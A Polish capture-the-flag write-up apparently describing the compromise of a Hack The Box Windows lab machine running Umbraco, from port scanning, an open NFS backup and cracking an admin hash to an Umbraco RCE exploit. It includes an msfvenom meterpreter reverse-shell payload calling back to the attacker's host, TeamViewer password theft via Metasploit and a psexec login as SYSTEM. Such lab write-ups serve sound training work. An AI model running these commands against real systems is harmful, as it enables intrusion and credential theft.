Spis treści
Rekonesans & punkt zaczepienia
Jak zwykle enumerację zacząłem od przeskanowania maszyny w poszukiwaniu otwartych portów:
sudo nmap -sV -A -p- -v -n -Pn 10.10.10.180
Wynik:
Nmap scan report for 10.10.10.180
Host is up (0.041s latency).
Not shown: 65519 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Home - Acme Widgets
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open mountd 1-3 (RPC #100005)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49678/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
Na podstawie wyniku, można stwierdzić, że na maszyna pełni rolę serwera webowego oraz znajdują się na niej takie usługi jak FTP, SMB oraz NFS. Wynik nmapa pokazał nam także, że jest dozwolony anonimowy login na serwerze FTP. Niezwłocznie to sprawdziłem:
$ ftp 10.10.10.180 Connected to 10.10.10.180. 220 Microsoft FTP Service Name (10.10.10.180:mateusz): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> dir 200 PORT command successful. 125 Data connection already open; Transfer starting. 226 Transfer complete. ftp> pwd 257 "/" is current directory.
Zalogowałem się credentialami anonymous/anonymous, jednakże na serwerze nie znalazłem żadnych plików.
Przeszedłem do serwera webowego:
Przeszukałem dostępne ścieżki narzędziem gobuster:
$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.180 -s 200,301,302
==============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
==============================================================
[+] Url: http://10.10.10.180
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,301,302
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
==============================================================
2020/09/10 12:14:13 Starting gobuster
==============================================================
/about-us (Status: 200)
/blog (Status: 200)
/Blog (Status: 200)
/contact (Status: 200)
/Contact (Status: 200)
/Home (Status: 200)
/home (Status: 200)
/install (Status: 302)
/intranet (Status: 200)
/People (Status: 200)
/people (Status: 200)
/person (Status: 200)
/products (Status: 200)
/Products (Status: 200)
/umbraco (Status: 200)
==============================================================
2020/09/10 12:15:29 Finished
==============================================================
Moją uwagę przykuła ścieżka /umbraco. Przeszedłem na nią:
Mamy do czynienia z CMSem Umbraco. Niestety próby logowania powszechnie znanymi credentialami zakończyły się niepowodzeniem.
Postanowiłem przejść do enumeracji NFS. Udziały dostępne w Network File System (NFS) można wyenumerować za pomocą narzędzia showmount.
Na początku zainstalowałem:
sudo apt install nfs-common
A następnie użyłem showmount:
$ sudo showmount -e 10.10.10.180 Export list for 10.10.10.180: /site_backups (everyone)
Folder site_backups jest dostępny dla wszystkich. Podmontowałem go na swojej maszynie w następujący sposób:
$ mkdir backups $ sudo mount -t nfs 10.10.10.180:/site_backups backups $ cd backups/ $ ls -l razem 115 drwx------ 2 nobody 4294967294 64 lut 20 2020 App_Browsers drwx------ 2 nobody 4294967294 4096 lut 20 2020 App_Data drwx------ 2 nobody 4294967294 4096 lut 20 2020 App_Plugins drwx------ 2 nobody 4294967294 64 lut 20 2020 aspnet_client drwx------ 2 nobody 4294967294 49152 lut 20 2020 bin drwx------ 2 nobody 4294967294 8192 lut 20 2020 Config drwx------ 2 nobody 4294967294 64 lut 20 2020 css -rwx------ 1 nobody 4294967294 152 lis 1 2018 default.aspx -rwx------ 1 nobody 4294967294 89 lis 1 2018 Global.asax drwx------ 2 nobody 4294967294 4096 lut 20 2020 Media drwx------ 2 nobody 4294967294 64 lut 20 2020 scripts drwx------ 2 nobody 4294967294 8192 lut 20 2020 Umbraco drwx------ 2 nobody 4294967294 4096 lut 20 2020 Umbraco_Client drwx------ 2 nobody 4294967294 4096 lut 20 2020 Views -rwx------ 1 nobody 4294967294 28539 lut 20 2020 Web.config
Prawdopodobnie jest to backup Umbraco. W internecie znalazłem informację, że credentiale są przechowywane w pliku Umbraco.sdf.
Znalazłem hash hasła do konta admin:
$ find . -type f -name Umbraco.sdf ./App_Data/Umbraco.sdf $ file App_Data/Umbraco.sdf App_Data/Umbraco.sdf: data $ strings App_Data/Umbraco.sdf | grep admin Administratoradmindefaulten-US Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d User "admin"<admin@htb.local>192.168.195.1User "admin" <admin@htb.local>umbraco/user/password/changepassword change
Dostałem również cenną informację, że jest to hash typu SHA-1. Zapisałem hash do pliku. Aby skrakować hash, użyłem hashcata:
$ hashcat -a 0 -m 100 hash /usr/share/wordlists/rockyou.txt --force
Wynik:
b8be16afba8c314ad33d812f22a04991b90e2aaa:baconandcheese
Session..........: hashcat
Status...........: Cracked
Hash.Name........: SHA1
Hash.Target......: b8be16afba8c314ad33d812f22a04991b90e2aaa
Time.Started.....: Thu Sep 10 12:45:06 2020, (3 secs)
Time.Estimated...: Thu Sep 10 12:45:09 2020, (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 3160.8 kH/s (0.57ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 9826304/14344385 (68.50%)
Rejected.........: 0/9826304 (0.00%)
Restore.Point....: 9822208/14344385 (68.47%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: badboi56 -> bacano1106
W taki oto sposób pozyskałem dane logowania: admin/baconandcheese. Zalogowałem się do panelu (admin@htb.local/baconandcheese):
Pozyskane credentiale są prawidłowe.
Uzyskanie uprawnień użytkownika
Na githubie znalazłem exploit, który umożliwił mi zdalne wykonanie kodu. Użyłem exploita w następujący sposób:
$ python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c whoami iis apppool\defaultapppool
Powyższe jest potwierdzeniem, że mam możliwość zdalnego wykonywania kodu.
Za pomocą Remote Code Execution odczytałem flagę usera:
$ python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c powershell.exe -a '-NoProfile -Command cat ../../../Users/Public/user.txt' baea0c..............56d686aa8d8d
Ciągle jednak nie miałem reverse shella. Uzyskałem go w następujący sposób:
Generacja payloadu:
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.24 LPORT=4444 -f exe > shell.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 341 bytes Final size of exe file: 73802 bytes
Wgranie payloadu na portal:
Ustawienie nasłuchu (wykorzystując narzędzie metasploit):
msf5 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 10.10.14.24 lhost => 10.10.14.24 msf5 exploit(multi/handler) > set lport 4444 lport => 4444 msf5 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 10.10.14.24:4444
Odwołanie się do payloadu wykorzystując wcześniejszy exploit:
$ python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c powershell.exe -a '-NoProfile -Command ../../../inetpub/wwwroot/Media/1033/shell.exe'
Po chwili otrzymujemy połącznie zwrotne:
msf5 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 10.10.14.24:4444 [*] Sending stage (176195 bytes) to 10.10.10.180 [*] Meterpreter session 1 opened (10.10.14.24:4444 -> 10.10.10.180:50008) at 2020-09-10 13:24:58 +0200 meterpreter > getuid Server username: IIS APPPOOL\DefaultAppPool
W taki oto sposób uzyskałem reverse shella z uprawnieniami użytkownika.
Uzyskanie uprawnień Administratora
Następnym moim krokiem była enumeracja maszyny w poszukiwaniu możliwej luki do przeprowadzenia eskalacji uprawnień:
meterpreter > sysinfo Computer : REMOTE OS : Windows 2016+ (10.0 Build 17763). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/windows
Na powyższym obrazku zauważyłem, że mam niezgodność procesów. Przeprowadziłem migrację procesów, aby Meterpreter był procesem 64-bitowym:
meterpreter > ps | grep shell.exe
Filtering on 'shell.exe'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
1096 4288 powershell.exe x64 0 IIS APPPOOL\DefaultAppPool C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
2112 4288 powershell.exe x64 0 IIS APPPOOL\DefaultAppPool C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
3284 1096 powershell.exe x64 0 IIS APPPOOL\DefaultAppPool C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
3944 4288 powershell.exe x64 0 IIS APPPOOL\DefaultAppPool C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
4480 4288 powershell.exe x64 0 IIS APPPOOL\DefaultAppPool C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
4700 4288 powershell.exe x64 0 IIS APPPOOL\DefaultAppPool C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
8948 4288 powershell.exe x64 0 IIS APPPOOL\DefaultAppPool C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
10452 9940 shell.exe x86 0 IIS APPPOOL\DefaultAppPool C:\inetpub\wwwroot\Media\1033\shell.exe
meterpreter > migrate 8948 10452
[*] Migrating from 9840 to 8948...
[*] Migration completed successfully.
meterpreter > sysinfo
Computer : REMOTE
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
Po udanej migracji procesów, zacząłem eksplorować maszynę. Okazało się, że na maszynie jest zainstalowany Team Viewer:
meterpreter > cd 'Program Files (x86)'
meterpreter > ls
Listing: c:\Program Files (x86)
===============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2018-09-15 09:19:00 +0200 Common Files
40777/rwxrwxrwx 4096 dir 2018-09-15 09:19:00 +0200 Internet Explorer
40777/rwxrwxrwx 0 dir 2020-02-19 21:11:33 +0100 MSBuild
40777/rwxrwxrwx 4096 dir 2020-02-19 21:32:55 +0100 Microsoft SQL Server
40777/rwxrwxrwx 0 dir 2018-09-15 09:19:00 +0200 Microsoft.NET
40777/rwxrwxrwx 0 dir 2020-02-19 21:11:33 +0100 Reference Assemblies
40777/rwxrwxrwx 0 dir 2020-02-20 08:14:58 +0100 TeamViewer
40777/rwxrwxrwx 4096 dir 2018-09-15 09:19:00 +0200 Windows Defender
40777/rwxrwxrwx 0 dir 2018-09-15 09:19:00 +0200 Windows Mail
40777/rwxrwxrwx 4096 dir 2018-09-15 11:06:10 +0200 Windows Media Player
40777/rwxrwxrwx 0 dir 2018-09-15 09:19:00 +0200 Windows Multimedia Platform
40777/rwxrwxrwx 4096 dir 2018-09-15 09:19:00 +0200 Windows Photo Viewer
40777/rwxrwxrwx 0 dir 2018-09-15 09:19:00 +0200 Windows Portable Devices
40777/rwxrwxrwx 0 dir 2018-09-15 09:19:00 +0200 Windows Sidebar
40777/rwxrwxrwx 0 dir 2018-09-15 09:19:00 +0200 WindowsPowerShell
100666/rw-rw-rw- 174 fil 2018-09-15 09:16:48 +0200 desktop.ini
40777/rwxrwxrwx 0 dir 2018-09-15 09:19:00 +0200 windows nt
Bardzo cenna informacja. Wymusiłem aby sesja działała w tle i skupiłem swoje poszukiwania na znalezieniu odpowiedniego exploita na TeamViewera:
meterpreter > background [*] Backgrounding session 2... msf5 exploit(multi/handler) > search team viewer
Wynik:
92 post/windows/gather/credentials/teamviewer_passwords normal No Windows Gather TeamViewer Passwords
Uzyłem wyszukanego exploita:
msf5 exploit(multi/handler) > use 92
msf5 post(windows/gather/credentials/teamviewer_passwords) > options
Module options (post/windows/gather/credentials/teamviewer_passwords):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
WINDOW_TITLE TeamViewer no Specify a title for getting the window handle, e.g. TeamViewer
msf5 post(windows/gather/credentials/teamviewer_passwords) > set session 2
session => 2
msf5 post(windows/gather/credentials/teamviewer_passwords) > run
[*] Finding TeamViewer Passwords on REMOTE
[+] Found Unattended Password: !R3m0te!
Znalazłem hasło. Wypróbujmy je używając skrypt (psexec) z pakietu Impacket, który umożliwi nam zalogowanie się na maszynie jako Administrator:
$ sudo python3 psexec.py administrator@10.10.10.180
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
Password:
[*] Requesting shares on 10.10.10.180.....
[*] Found writable share ADMIN$
[*] Uploading file pNEivKgb.exe
[*] Opening SVCManager on 10.10.10.180.....
[*] Creating service uyWy on 10.10.10.180.....
[*] Starting service uyWy.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : dead:beef::d817:e1bf:e7d3:19fa
Link-local IPv6 Address . . . . . : fe80::d817:e1bf:e7d3:19fa%13
IPv4 Address. . . . . . . . . . . : 10.10.10.180
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:647%13
10.10.10.2